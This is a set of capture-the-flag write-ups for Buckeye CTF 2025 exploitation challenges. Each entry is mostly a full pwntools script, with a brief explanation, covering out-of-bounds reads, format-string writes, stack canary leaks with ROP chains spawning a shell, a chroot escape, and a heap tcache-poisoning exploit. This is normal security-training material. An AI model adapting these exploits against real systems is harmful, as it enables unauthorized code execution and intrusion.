2025 Buckeye CTF

Character Assassination (248 solves)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

context.log_level = 'error'
p = remote('character-assassination.challs.pwnoh.io', 1337, ssl=True)

result = b''
for i in range(0x20):
payload = p8(-0x40, signed=True)

flag = 0x4020
upper = 0x4060
lower = 0x40e0

payload = b'A'
distance = upper - (flag + i)
payload += p8(-distance, signed=True)

p.sendline(payload)
p.recvuntil('> a')
result += p.recv(1)
print(result)

You could leak the flag byte by byte with an out-of-bounds read with negative index

Chirp (108 solves)

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

context.arch = 'amd64'
p = remote('chirp.challs.pwnoh.io', 1337, ssl=True)

payload = fmtstr_payload(6, {
0x404018: p64(0x40120a),
0x404040: p64(0x401070),
})

p.sendlineafter(': ', payload)
p.interactive()

Format string attack

Guessing Game (78 solves)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *

# p = process('./guessing_game')
p = remote('guessing-game.challs.pwnoh.io', 1337, ssl=True)
e = ELF('./guessing_game')
# libc = ELF('./libc/libc6_2.31-0ubuntu9.11_amd64.so')

p.sendlineafter(':', str(0xfffffffffffffffe))

min = 0
max = 0xfffffffffffffffe
answer = None

for i in range(100):
print(f'min: {hex(min)}, max: {hex(max)}')
mid = (min + max) // 2
print(hex(mid))

p.sendlineafter(':', str(mid))
result = p.recvline()
if b'Too high' in result:
print('it was high')
max = mid - 1
elif b'Too low' in result:
min = mid + 1
elif b'Wow!' in result:
answer = mid
break
else:
print(repr(result))
assert False

assert answer != None
print('answer:', hex(answer))
canary = answer << 8
print(hex(canary))

pop_rdi = 0x40124d
pop_rax = 0x40124f
pop_rsi = 0x401251
pop_rdx = 0x401253
binsh = 0x404060
syscall = 0x0000000000401255

payload = b'a'*10
payload += p64(canary)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rdx)
payload += p64(0)
payload += p64(pop_rax)
payload += p64(0x3b)
payload += p64(syscall)
p.sendline(payload)

p.interactive()

Leak canary with binary search and stack buffer overflow

Printful (33 solves)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *

context.arch = 'amd64'

p = remote('printful.challs.pwnoh.io', 1337, ssl=True)
libc = ELF('./x86_64-linux-gnu/libc-2.31.so')

def read(addr):
payload = b'%7$s'.ljust(8, b'\0') + p64(addr)
if b'\x0a' in payload:
return b''
p.sendline(payload)
res = b''
for i in range(4):
res += p.recv(1024, timeout=1)
if res[-2:] == b'> ':
print('break')
break
assert res[-2:] == b'> '
return res[:-2]

def read64(addr):
return u64(read(addr).ljust(8, b'\0'))

p.sendlineafter('> ', '%33$p')
libc_base = int(p.recvline(), 16) - 0x1ed6a0
print('libc_base:', hex(libc_base))

p.recvuntil('> ')

pop_rdi = libc_base + 0x10594d
ret = pop_rdi + 1
binsh = libc_base + next(libc.search('sh\0'))
puts = libc_base + libc.sym['puts']
system = libc_base + libc.sym['system']
stack_leak = read64(libc_base + libc.sym['__environ'])
print('stack_leak:', hex(stack_leak))

stack_offset = 0x100
stack = stack_leak - stack_offset

payload = fmtstr_payload(6, {
stack: p64(pop_rdi),
})
assert len(payload) < 0xff
p.sendline(payload)
p.recvuntil('> ')

payload = fmtstr_payload(6, {
stack + 8: p64(binsh),
})
p.sendline(payload)
p.recvuntil('> ')

payload = fmtstr_payload(6, {
stack + 0x10: p64(ret),
stack + 0x18: p64(system),
})

p.sendline(payload)
p.sendlineafter('> ', 'q')
p.sendline('cat flag.txt')
p.interactive()

Format string attack -> ROP

Bashtille (29 solves)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <sys/mount.h>
#include <unistd.h>

int main()
{
mkdir("chroot-dir", 0755);
chroot("chroot-dir");

for (int i = 0; i < 1000; i++) {
chdir("..");
}
chroot(".");
system("cat app/flag.txt");
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
import subprocess

p = remote('bashtille.challs.pwnoh.io', 1337, ssl=True)

payload = open('run', 'rb').read()
payload = ''.join(['\\x'+hex(i)[2:].rjust(2, '0') for i in payload])
payload = f'printf \'{payload}\' > run'
p.sendlineafter('# ', payload)

p.sendlineafter('# ', '/lib64/ld-linux-x86-64.so.2 ./run')
p.interactive()

Chroot with root permission.
It could be escaped from the jail with chdir + chroot.
No executable flag is needed when runs a binary file with ld.so

IloveRust (18 solves)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *

libc = ELF("./x86_64-linux-gnu/libc.so.6")

def create(size, content):
p.sendlineafter(">", str(1))
p.sendlineafter(">", str(size))
p.sendlineafter(":", content)


def show(index):
p.sendlineafter(">", str(2))
p.sendlineafter(">", str(index))


def delete(index):
p.sendlineafter(">", str(4))
p.sendlineafter(">", str(index))

p = remote('iloverust.challs.pwnoh.io', 1337, ssl=True)

show(-2)
p.recvuntil(': ')
pie_leak = u64(p.recv(6).ljust(8, b'\0'))
print('pie_leak:', hex(pie_leak))
pie_base = pie_leak - 0x4060
print('pie_base:', hex(pie_base))
notes = pie_base + 0x4080
print('notes:', hex(notes))

show(-14)
p.recvuntil(': ')
libc_leak = u64(p.recv(6).ljust(8, b'\0'))
print(hex(libc_leak))
libc_base = libc_leak - 0x00000000002045c0
print(hex(libc_base))

create(0x1000, b'a'*8)
create(0x1000, b'a'*8)
delete(0)

show(((libc_base + 0x203b40) - notes) // 0x10)
p.recvuntil(': ')
heap_leak = u64(p.recv(6).ljust(8, b'\0'))
print(hex(heap_leak))
heap_base = heap_leak - 0x136c0
print(hex(heap_base))
delete(1)

for i in range(10):
create(0x20, b'a'*8)

def protect_ptr(chunk, ptr):
return (chunk >> 12) ^ ptr

chunk_ptr = heap_base + 0x138b0
fake_note_index = (chunk_ptr - notes)//0x10
payload = p64(heap_base + 0x13820)
payload += p64((fake_note_index << 32) | 0x100)
create(0x20, payload)

for i in range(0, 9):
delete(i)

delete(fake_note_index)

for i in range(7):
create(0x20, b'sh')

payload = p64(protect_ptr(heap_base + 0x13810, pie_base + 0x4010))
payload += p64(0x41414141)
create(0x20, payload)
create(0x20, b'b'*0x10)
create(0x20, b'c'*0x10)

payload = p64(pie_base + 0x1056)
payload += p64(libc_base + libc.sym['system'])

create(0x20, payload[:0x1f])
delete(2)
p.sendline('cat flag.txt')

p.interactive()

Classic heap challenge with notes